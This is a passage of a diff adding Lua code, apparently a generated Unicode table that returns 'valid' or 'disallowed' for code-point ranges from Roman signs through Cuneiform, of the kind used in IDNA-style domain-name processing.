+ -- ROMAN SEXTANS SIGN..ROMAN CENTURIAL SIGN
+ if x >= 0x10190 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x101CF then
+ -- NA <reserved-101A1>..<reserved-101CF>
+ if x >= 0x101A1 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x101FC then
+ -- PHAISTOS DISC SIGN PEDESTRIAN..PHAISTOS DISC SIGN WAVY BAND
+ if x >= 0x101D0 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1027F then
+ -- NA <reserved-101FE>..<reserved-1027F>
+ if x >= 0x101FE then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1029C then
+ -- LYCIAN LETTER A..LYCIAN LETTER X
+ if x >= 0x10280 then
+ return {status="valid"}
+ end
+ elseif x <= 0x102D0 then
+ -- CARIAN LETTER A..CARIAN LETTER UUU3
+ if x >= 0x102A0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x102DF then
+ -- NA <reserved-102D1>..<reserved-102DF>
+ if x >= 0x102D1 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x102FB then
+ -- COPTIC EPACT DIGIT ONE..COPTIC EPACT NUMBER NINE HUNDRED
+ if x >= 0x102E1 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1031E then
+ -- OLD ITALIC LETTER A..OLD ITALIC LETTER UU
+ if x >= 0x10300 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1032C then
+ -- NA <reserved-10324>..<reserved-1032C>
+ if x >= 0x10324 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x10340 then
+ -- OLD ITALIC LETTER YE..OLD ITALIC LETTER SOUTHERN TSE
+ -- GOTHIC LETTER AHSA..GOTHIC LETTER PAIRTHRA
+ if x >= 0x1032D then
+ return {status="valid"}
+ end
+ elseif x <= 0x10349 then
+ -- GOTHIC LETTER RAIDA..GOTHIC LETTER OTHAL
+ if x >= 0x10342 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1037A then
+ -- OLD PERMIC LETTER AN..COMBINING OLD PERMIC LETTER SII
+ if x >= 0x10350 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1039D then
+ -- UGARITIC LETTER ALPA..UGARITIC LETTER SSU
+ if x >= 0x10380 then
+ return {status="valid"}
+ end
+ elseif x <= 0x103C3 then
+ -- OLD PERSIAN SIGN A..OLD PERSIAN SIGN HA
+ if x >= 0x103A0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x103CF then
+ -- OLD PERSIAN SIGN AURAMAZDAA..OLD PERSIAN SIGN BUUMISH
+ if x >= 0x103C8 then
+ return {status="valid"}
+ end
+ elseif x <= 0x103D5 then
+ -- OLD PERSIAN WORD DIVIDER..OLD PERSIAN NUMBER HUNDRED
+ if x >= 0x103D0 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x103FF then
+ -- NA <reserved-103D6>..<reserved-103FF>
+ if x >= 0x103D6 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1049D then
+ -- DESERET SMALL LETTER LONG I..DESERET SMALL LETTER ENG
+ -- DESERET SMALL LETTER OI..OSMANYA LETTER OO
+ if x >= 0x10428 then
+ return {status="valid"}
+ end
+ elseif x <= 0x104A9 then
+ -- OSMANYA DIGIT ZERO..OSMANYA DIGIT NINE
+ if x >= 0x104A0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x104AF then
+ -- NA <reserved-104AA>..<reserved-104AF>
+ if x >= 0x104AA then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x104FB then
+ -- OSAGE SMALL LETTER A..OSAGE SMALL LETTER ZHA
+ if x >= 0x104D8 then
+ return {status="valid"}
+ end
+ elseif x <= 0x10527 then
+ -- ELBASAN LETTER A..ELBASAN LETTER KHE
+ if x >= 0x10500 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1052F then
+ -- NA <reserved-10528>..<reserved-1052F>
+ if x >= 0x10528 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x10563 then
+ -- CAUCASIAN ALBANIAN LETTER ALT..CAUCASIAN ALBANIAN LETTER KIW
+ if x >= 0x10530 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1056E then
+ -- NA <reserved-10564>..<reserved-1056E>
+ if x >= 0x10564 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x105FF then
+ -- NA <reserved-10570>..<reserved-105FF>
+ if x >= 0x10570 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x10736 then
+ -- LINEAR A SIGN AB001..LINEAR A SIGN A664
+ if x >= 0x10600 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1073F then
+ -- NA <reserved-10737>..<reserved-1073F>
+ if x >= 0x10737 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x10755 then
+ -- LINEAR A SIGN A701 A..LINEAR A SIGN A732 JE
+ if x >= 0x10740 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1075F then
+ -- NA <reserved-10756>..<reserved-1075F>
+ if x >= 0x10756 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x10767 then
+ -- LINEAR A SIGN A800..LINEAR A SIGN A807
+ if x >= 0x10760 then
+ return {status="valid"}
+ end
+ elseif x <= 0x107FF then
+ -- NA <reserved-10768>..<reserved-107FF>
+ if x >= 0x10768 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x10805 then
+ -- CYPRIOT SYLLABLE A..CYPRIOT SYLLABLE JA
+ if x >= 0x10800 then
+ return {status="valid"}
+ end
+ elseif x <= 0x10835 then
+ -- CYPRIOT SYLLABLE KA..CYPRIOT SYLLABLE WO
+ if x >= 0x1080A then
+ return {status="valid"}
+ end
+ elseif x <= 0x10855 then
+ -- IMPERIAL ARAMAIC LETTER ALEPH..IMPERIAL ARAMAIC LETTER TAW
+ if x >= 0x10840 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1085F then
+ -- IMPERIAL ARAMAIC SECTION SIGN..IMPERIAL ARAMAIC NUMBER TEN THOUSAND
+ if x >= 0x10857 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x10876 then
+ -- PALMYRENE LETTER ALEPH..PALMYRENE LETTER TAW
+ if x >= 0x10860 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1087F then
+ -- PALMYRENE LEFT-POINTING FLEURON..PALMYRENE NUMBER TWENTY
+ if x >= 0x10877 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1089E then
+ -- NABATAEAN LETTER FINAL ALEPH..NABATAEAN LETTER TAW
+ if x >= 0x10880 then
+ return {status="valid"}
+ end
+ elseif x <= 0x108A6 then
+ -- NA <reserved-1089F>..<reserved-108A6>
+ if x >= 0x1089F then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x108AF then
+ -- NABATAEAN NUMBER ONE..NABATAEAN NUMBER ONE HUNDRED
+ if x >= 0x108A7 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x108DF then
+ -- NA <reserved-108B0>..<reserved-108DF>
+ if x >= 0x108B0 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x108F2 then
+ -- HATRAN LETTER ALEPH..HATRAN LETTER QOPH
+ if x >= 0x108E0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x10915 then
+ -- PHOENICIAN LETTER ALF..PHOENICIAN LETTER TAU
+ if x >= 0x10900 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1091B then
+ -- PHOENICIAN NUMBER ONE..PHOENICIAN NUMBER ONE HUNDRED
+ -- PHOENICIAN NUMBER TWO..PHOENICIAN NUMBER THREE
+ if x >= 0x10916 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x10939 then
+ -- LYDIAN LETTER A..LYDIAN LETTER C
+ if x >= 0x10920 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1097F then
+ -- NA <reserved-10940>..<reserved-1097F>
+ if x >= 0x10940 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x109B7 then
+ -- MEROITIC HIEROGLYPHIC LETTER A..MEROITIC CURSIVE LETTER DA
+ if x >= 0x10980 then
+ return {status="valid"}
+ end
+ elseif x <= 0x109CF then
+ -- MEROITIC CURSIVE NUMBER ONE..MEROITIC CURSIVE NUMBER SEVENTY
+ if x >= 0x109C0 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x109FF then
+ -- MEROITIC CURSIVE NUMBER ONE HUNDRED..MEROITIC CURSIVE FRACTION TEN TWELFTHS
+ if x >= 0x109D2 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x10A13 then
+ -- KHAROSHTHI VOWEL LENGTH MARK..KHAROSHTHI LETTER GHA
+ if x >= 0x10A0C then
+ return {status="valid"}
+ end
+ elseif x <= 0x10A33 then
+ -- KHAROSHTHI LETTER NYA..KHAROSHTHI LETTER TTTHA
+ if x >= 0x10A19 then
+ return {status="valid"}
+ end
+ elseif x <= 0x10A47 then
+ -- KHAROSHTHI DIGIT ONE..KHAROSHTHI NUMBER ONE THOUSAND
+ if x >= 0x10A40 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x10A4F then
+ -- NA <reserved-10A48>..<reserved-10A4F>
+ if x >= 0x10A48 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x10A58 then
+ -- KHAROSHTHI PUNCTUATION DOT..KHAROSHTHI PUNCTUATION LINES
+ if x >= 0x10A50 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x10A5F then
+ -- NA <reserved-10A59>..<reserved-10A5F>
+ if x >= 0x10A59 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x10A7C then
+ -- OLD SOUTH ARABIAN LETTER HE..OLD SOUTH ARABIAN LETTER THETH
+ if x >= 0x10A60 then
+ return {status="valid"}
+ end
+ elseif x <= 0x10A9C then
+ -- OLD NORTH ARABIAN LETTER HEH..OLD NORTH ARABIAN LETTER ZAH
+ if x >= 0x10A80 then
+ return {status="valid"}
+ end
+ elseif x <= 0x10ABF then
+ -- NA <reserved-10AA0>..<reserved-10ABF>
+ if x >= 0x10AA0 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x10AC7 then
+ -- MANICHAEAN LETTER ALEPH..MANICHAEAN LETTER WAW
+ if x >= 0x10AC0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x10AE6 then
+ -- MANICHAEAN LETTER ZAYIN..MANICHAEAN ABBREVIATION MARK BELOW
+ if x >= 0x10AC9 then
+ return {status="valid"}
+ end
+ elseif x <= 0x10AF6 then
+ -- MANICHAEAN NUMBER ONE..MANICHAEAN PUNCTUATION LINE FILLER
+ if x >= 0x10AEB then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x10AFF then
+ -- NA <reserved-10AF7>..<reserved-10AFF>
+ if x >= 0x10AF7 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x10B35 then
+ -- AVESTAN LETTER A..AVESTAN LETTER HE
+ if x >= 0x10B00 then
+ return {status="valid"}
+ end
+ elseif x <= 0x10B3F then
+ -- AVESTAN ABBREVIATION MARK..LARGE ONE RING OVER TWO RINGS PUNCTUATION
+ if x >= 0x10B39 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x10B55 then
+ -- INSCRIPTIONAL PARTHIAN LETTER ALEPH..INSCRIPTIONAL PARTHIAN LETTER TAW
+ if x >= 0x10B40 then
+ return {status="valid"}
+ end
+ elseif x <= 0x10B5F then
+ -- INSCRIPTIONAL PARTHIAN NUMBER ONE..INSCRIPTIONAL PARTHIAN NUMBER ONE THOUSAND
+ if x >= 0x10B58 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x10B72 then
+ -- INSCRIPTIONAL PAHLAVI LETTER ALEPH..INSCRIPTIONAL PAHLAVI LETTER TAW
+ if x >= 0x10B60 then
+ return {status="valid"}
+ end
+ elseif x <= 0x10B7F then
+ -- INSCRIPTIONAL PAHLAVI NUMBER ONE..INSCRIPTIONAL PAHLAVI NUMBER ONE THOUSAND
+ if x >= 0x10B78 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x10B91 then
+ -- PSALTER PAHLAVI LETTER ALEPH..PSALTER PAHLAVI LETTER TAW
+ if x >= 0x10B80 then
+ return {status="valid"}
+ end
+ elseif x <= 0x10B98 then
+ -- NA <reserved-10B92>..<reserved-10B98>
+ if x >= 0x10B92 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x10BA8 then
+ -- NA <reserved-10B9D>..<reserved-10BA8>
+ if x >= 0x10B9D then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x10BAF then
+ -- PSALTER PAHLAVI NUMBER ONE..PSALTER PAHLAVI NUMBER ONE HUNDRED
+ if x >= 0x10BA9 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x10BFF then
+ -- NA <reserved-10BB0>..<reserved-10BFF>
+ if x >= 0x10BB0 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x10C48 then
+ -- OLD TURKIC LETTER ORKHON A..OLD TURKIC LETTER ORKHON BASH
+ if x >= 0x10C00 then
+ return {status="valid"}
+ end
+ elseif x <= 0x10C7F then
+ -- NA <reserved-10C49>..<reserved-10C7F>
+ if x >= 0x10C49 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x10CBF then
+ -- NA <reserved-10CB3>..<reserved-10CBF>
+ if x >= 0x10CB3 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x10CF2 then
+ -- OLD HUNGARIAN SMALL LETTER A..OLD HUNGARIAN SMALL LETTER US
+ if x >= 0x10CC0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x10CF9 then
+ -- NA <reserved-10CF3>..<reserved-10CF9>
+ if x >= 0x10CF3 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x10CFF then
+ -- OLD HUNGARIAN NUMBER ONE..OLD HUNGARIAN NUMBER ONE THOUSAND
+ if x >= 0x10CFA then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x10E5F then
+ -- NA <reserved-10D00>..<reserved-10E5F>
+ if x >= 0x10D00 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x10E7E then
+ -- RUMI DIGIT ONE..RUMI FRACTION TWO THIRDS
+ if x >= 0x10E60 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x10FFF then
+ -- NA <reserved-10E7F>..<reserved-10FFF>
+ if x >= 0x10E7F then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x11046 then
+ -- BRAHMI SIGN CANDRABINDU..BRAHMI VIRAMA
+ if x >= 0x11000 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1104D then
+ -- BRAHMI DANDA..BRAHMI PUNCTUATION LOTUS
+ if x >= 0x11047 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x11065 then
+ -- BRAHMI NUMBER ONE..BRAHMI NUMBER ONE THOUSAND
+ if x >= 0x11052 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1106F then
+ -- BRAHMI DIGIT ZERO..BRAHMI DIGIT NINE
+ if x >= 0x11066 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1107E then
+ -- NA <reserved-11070>..<reserved-1107E>
+ if x >= 0x11070 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x110BA then
+ -- KAITHI SIGN CANDRABINDU..KAITHI SIGN NUKTA
+ if x >= 0x11080 then
+ return {status="valid"}
+ end
+ elseif x <= 0x110CF then
+ -- NA <reserved-110C2>..<reserved-110CF>
+ if x >= 0x110C2 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x110E8 then
+ -- SORA SOMPENG LETTER SAH..SORA SOMPENG LETTER MAE
+ if x >= 0x110D0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x110EF then
+ -- NA <reserved-110E9>..<reserved-110EF>
+ if x >= 0x110E9 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x110F9 then
+ -- SORA SOMPENG DIGIT ZERO..SORA SOMPENG DIGIT NINE
+ if x >= 0x110F0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x110FF then
+ -- NA <reserved-110FA>..<reserved-110FF>
+ if x >= 0x110FA then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x11134 then
+ -- CHAKMA SIGN CANDRABINDU..CHAKMA MAAYYAA
+ if x >= 0x11100 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1113F then
+ -- CHAKMA DIGIT ZERO..CHAKMA DIGIT NINE
+ if x >= 0x11136 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1114F then
+ -- NA <reserved-11144>..<reserved-1114F>
+ if x >= 0x11144 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x11173 then
+ -- MAHAJANI LETTER A..MAHAJANI SIGN NUKTA
+ if x >= 0x11150 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1117F then
+ -- NA <reserved-11177>..<reserved-1117F>
+ if x >= 0x11177 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x111C4 then
+ -- SHARADA SIGN CANDRABINDU..SHARADA OM
+ if x >= 0x11180 then
+ return {status="valid"}
+ end
+ elseif x <= 0x111D9 then
+ -- SHARADA DIGIT ZERO..SHARADA DIGIT NINE
+ if x >= 0x111D0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x111F4 then
+ -- SINHALA ARCHAIC DIGIT ONE..SINHALA ARCHAIC NUMBER ONE THOUSAND
+ if x >= 0x111E1 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x111FF then
+ -- NA <reserved-111F5>..<reserved-111FF>
+ if x >= 0x111F5 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x11211 then
+ -- KHOJKI LETTER A..KHOJKI LETTER JJA
+ if x >= 0x11200 then
+ return {status="valid"}
+ end
+ elseif x <= 0x11237 then
+ -- KHOJKI LETTER NYA..KHOJKI SIGN SHADDA
+ if x >= 0x11213 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1123D then
+ -- KHOJKI DANDA..KHOJKI ABBREVIATION SIGN
+ if x >= 0x11238 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1127F then
+ -- NA <reserved-1123F>..<reserved-1127F>
+ if x >= 0x1123F then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x11286 then
+ -- MULTANI LETTER A..MULTANI LETTER GA
+ if x >= 0x11280 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1129D then
+ -- MULTANI LETTER NYA..MULTANI LETTER BA
+ if x >= 0x1128F then
+ return {status="valid"}
+ end
+ elseif x <= 0x112A8 then
+ -- MULTANI LETTER BHA..MULTANI LETTER RHA
+ if x >= 0x1129F then
+ return {status="valid"}
+ end
+ elseif x <= 0x112AF then
+ -- NA <reserved-112AA>..<reserved-112AF>
+ if x >= 0x112AA then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x112EA then
+ -- KHUDAWADI LETTER A..KHUDAWADI SIGN VIRAMA
+ if x >= 0x112B0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x112F9 then
+ -- KHUDAWADI DIGIT ZERO..KHUDAWADI DIGIT NINE
+ if x >= 0x112F0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x112FF then
+ -- NA <reserved-112FA>..<reserved-112FF>
+ if x >= 0x112FA then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1130C then
+ -- GRANTHA LETTER A..GRANTHA LETTER VOCALIC L
+ if x >= 0x11305 then
+ return {status="valid"}
+ end
+ elseif x <= 0x11328 then
+ -- GRANTHA LETTER OO..GRANTHA LETTER NA
+ if x >= 0x11313 then
+ return {status="valid"}
+ end
+ elseif x <= 0x11330 then
+ -- GRANTHA LETTER PA..GRANTHA LETTER RA
+ if x >= 0x1132A then
+ return {status="valid"}
+ end
+ elseif x <= 0x11344 then
+ -- GRANTHA SIGN NUKTA..GRANTHA VOWEL SIGN VOCALIC RR
+ if x >= 0x1133C then
+ return {status="valid"}
+ end
+ elseif x <= 0x11356 then
+ -- NA <reserved-11351>..<reserved-11356>
+ if x >= 0x11351 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x11363 then
+ -- GRANTHA SIGN PLUTA..GRANTHA VOWEL SIGN VOCALIC LL
+ if x >= 0x1135D then
+ return {status="valid"}
+ end
+ elseif x <= 0x1136C then
+ -- COMBINING GRANTHA DIGIT ZERO..COMBINING GRANTHA DIGIT SIX
+ if x >= 0x11366 then
+ return {status="valid"}
+ end
+ elseif x <= 0x113FF then
+ -- NA <reserved-11375>..<reserved-113FF>
+ if x >= 0x11375 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1144A then
+ -- NEWA LETTER A..NEWA SIDDHI
+ if x >= 0x11400 then
+ return {status="valid"}
+ end
+ elseif x <= 0x11459 then
+ -- NEWA DIGIT ZERO..NEWA DIGIT NINE
+ if x >= 0x11450 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1147F then
+ -- NA <reserved-1145E>..<reserved-1147F>
+ if x >= 0x1145E then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x114C5 then
+ -- TIRHUTA ANJI..TIRHUTA GVANG
+ if x >= 0x11480 then
+ return {status="valid"}
+ end
+ elseif x <= 0x114CF then
+ -- NA <reserved-114C8>..<reserved-114CF>
+ if x >= 0x114C8 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x114D9 then
+ -- TIRHUTA DIGIT ZERO..TIRHUTA DIGIT NINE
+ if x >= 0x114D0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1157F then
+ -- NA <reserved-114DA>..<reserved-1157F>
+ if x >= 0x114DA then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x115B5 then
+ -- SIDDHAM LETTER A..SIDDHAM VOWEL SIGN VOCALIC RR
+ if x >= 0x11580 then
+ return {status="valid"}
+ end
+ elseif x <= 0x115C0 then
+ -- SIDDHAM VOWEL SIGN E..SIDDHAM SIGN NUKTA
+ if x >= 0x115B8 then
+ return {status="valid"}
+ end
+ elseif x <= 0x115D7 then
+ -- SIDDHAM SIGN SIDDHAM..SIDDHAM END OF TEXT MARK
+ -- SIDDHAM SECTION MARK WITH TRIDENT AND U-SHAPED ORNAMENTS..SIDDHAM SECTION MARK WITH CIRCLES AND FOUR ENCLOSURES
+ if x >= 0x115C1 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x115DD then
+ -- SIDDHAM LETTER THREE-CIRCLE ALTERNATE I..SIDDHAM VOWEL SIGN ALTERNATE UU
+ if x >= 0x115D8 then
+ return {status="valid"}
+ end
+ elseif x <= 0x115FF then
+ -- NA <reserved-115DE>..<reserved-115FF>
+ if x >= 0x115DE then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x11640 then
+ -- MODI LETTER A..MODI SIGN ARDHACANDRA
+ if x >= 0x11600 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1164F then
+ -- NA <reserved-11645>..<reserved-1164F>
+ if x >= 0x11645 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x11659 then
+ -- MODI DIGIT ZERO..MODI DIGIT NINE
+ if x >= 0x11650 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1165F then
+ -- NA <reserved-1165A>..<reserved-1165F>
+ if x >= 0x1165A then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1166C then
+ -- MONGOLIAN BIRGA WITH ORNAMENT..MONGOLIAN TURNED SWIRL BIRGA WITH DOUBLE ORNAMENT
+ if x >= 0x11660 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1167F then
+ -- NA <reserved-1166D>..<reserved-1167F>
+ if x >= 0x1166D then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x116B7 then
+ -- TAKRI LETTER A..TAKRI SIGN NUKTA
+ if x >= 0x11680 then
+ return {status="valid"}
+ end
+ elseif x <= 0x116BF then
+ -- NA <reserved-116B8>..<reserved-116BF>
+ if x >= 0x116B8 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x116C9 then
+ -- TAKRI DIGIT ZERO..TAKRI DIGIT NINE
+ if x >= 0x116C0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x116FF then
+ -- NA <reserved-116CA>..<reserved-116FF>
+ if x >= 0x116CA then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x11719 then
+ -- AHOM LETTER KA..AHOM LETTER JHA
+ if x >= 0x11700 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1172B then
+ -- AHOM CONSONANT SIGN MEDIAL LA..AHOM SIGN KILLER
+ if x >= 0x1171D then
+ return {status="valid"}
+ end
+ elseif x <= 0x11739 then
+ -- AHOM DIGIT ZERO..AHOM DIGIT NINE
+ if x >= 0x11730 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1173F then
+ -- AHOM NUMBER TEN..AHOM SYMBOL VI
+ if x >= 0x1173A then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1189F then
+ -- NA <reserved-11740>..<reserved-1189F>
+ if x >= 0x11740 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x118E9 then
+ -- WARANG CITI SMALL LETTER NGAA..WARANG CITI DIGIT NINE
+ if x >= 0x118C0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x118F2 then
+ -- WARANG CITI NUMBER TEN..WARANG CITI NUMBER NINETY
+ if x >= 0x118EA then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x118FE then
+ -- NA <reserved-118F3>..<reserved-118FE>
+ if x >= 0x118F3 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x119FF then
+ -- NA <reserved-11900>..<reserved-119FF>
+ if x >= 0x11900 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x11A3E then
+ -- ZANABAZAR SQUARE LETTER A..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA
+ if x >= 0x11A00 then
+ return {status="valid"}
+ end
+ elseif x <= 0x11A46 then
+ -- ZANABAZAR SQUARE INITIAL HEAD MARK..ZANABAZAR SQUARE CLOSING DOUBLE-LINED HEAD MARK
+ if x >= 0x11A3F then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x11A4F then
+ -- NA <reserved-11A48>..<reserved-11A4F>
+ if x >= 0x11A48 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x11A83 then
+ -- SOYOMBO LETTER A..SOYOMBO LETTER KSSA
+ if x >= 0x11A50 then
+ return {status="valid"}
+ end
+ elseif x <= 0x11A99 then
+ -- SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO SUBJOINER
+ if x >= 0x11A86 then
+ return {status="valid"}
+ end
+ elseif x <= 0x11ABF then
+ -- NA <reserved-11AA3>..<reserved-11ABF>
+ if x >= 0x11AA3 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x11AF8 then
+ -- PAU CIN HAU LETTER PA..PAU CIN HAU GLOTTAL STOP FINAL
+ if x >= 0x11AC0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x11BFF then
+ -- NA <reserved-11AF9>..<reserved-11BFF>
+ if x >= 0x11AF9 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x11C08 then
+ -- BHAIKSUKI LETTER A..BHAIKSUKI LETTER VOCALIC L
+ if x >= 0x11C00 then
+ return {status="valid"}
+ end
+ elseif x <= 0x11C36 then
+ -- BHAIKSUKI LETTER E..BHAIKSUKI VOWEL SIGN VOCALIC L
+ if x >= 0x11C0A then
+ return {status="valid"}
+ end
+ elseif x <= 0x11C40 then
+ -- BHAIKSUKI VOWEL SIGN E..BHAIKSUKI SIGN AVAGRAHA
+ if x >= 0x11C38 then
+ return {status="valid"}
+ end
+ elseif x <= 0x11C4F then
+ -- NA <reserved-11C46>..<reserved-11C4F>
+ if x >= 0x11C46 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x11C59 then
+ -- BHAIKSUKI DIGIT ZERO..BHAIKSUKI DIGIT NINE
+ if x >= 0x11C50 then
+ return {status="valid"}
+ end
+ elseif x <= 0x11C6C then
+ -- BHAIKSUKI NUMBER ONE..BHAIKSUKI HUNDREDS UNIT MARK
+ if x >= 0x11C5A then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x11C8F then
+ -- MARCHEN LETTER KA..MARCHEN LETTER A
+ if x >= 0x11C72 then
+ return {status="valid"}
+ end
+ elseif x <= 0x11CA7 then
+ -- MARCHEN SUBJOINED LETTER KA..MARCHEN SUBJOINED LETTER ZA
+ if x >= 0x11C92 then
+ return {status="valid"}
+ end
+ elseif x <= 0x11CB6 then
+ -- MARCHEN SUBJOINED LETTER YA..MARCHEN SIGN CANDRABINDU
+ if x >= 0x11CA9 then
+ return {status="valid"}
+ end
+ elseif x <= 0x11CFF then
+ -- NA <reserved-11CB7>..<reserved-11CFF>
+ if x >= 0x11CB7 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x11D06 then
+ -- MASARAM GONDI LETTER A..MASARAM GONDI LETTER E
+ if x >= 0x11D00 then
+ return {status="valid"}
+ end
+ elseif x <= 0x11D36 then
+ -- MASARAM GONDI LETTER AU..MASARAM GONDI VOWEL SIGN VOCALIC R
+ if x >= 0x11D0B then
+ return {status="valid"}
+ end
+ elseif x <= 0x11D47 then
+ -- MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI RA-KARA
+ if x >= 0x11D3F then
+ return {status="valid"}
+ end
+ elseif x <= 0x11D4F then
+ -- NA <reserved-11D48>..<reserved-11D4F>
+ if x >= 0x11D48 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x11D59 then
+ -- MASARAM GONDI DIGIT ZERO..MASARAM GONDI DIGIT NINE
+ if x >= 0x11D50 then
+ return {status="valid"}
+ end
+ elseif x <= 0x11FFF then
+ -- NA <reserved-11D5A>..<reserved-11FFF>
+ if x >= 0x11D5A then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x12398 then
+ -- CUNEIFORM SIGN A..CUNEIFORM SIGN ZUM
+ -- CUNEIFORM SIGN KAP ELAMITE..CUNEIFORM SIGN UM TIMES ME
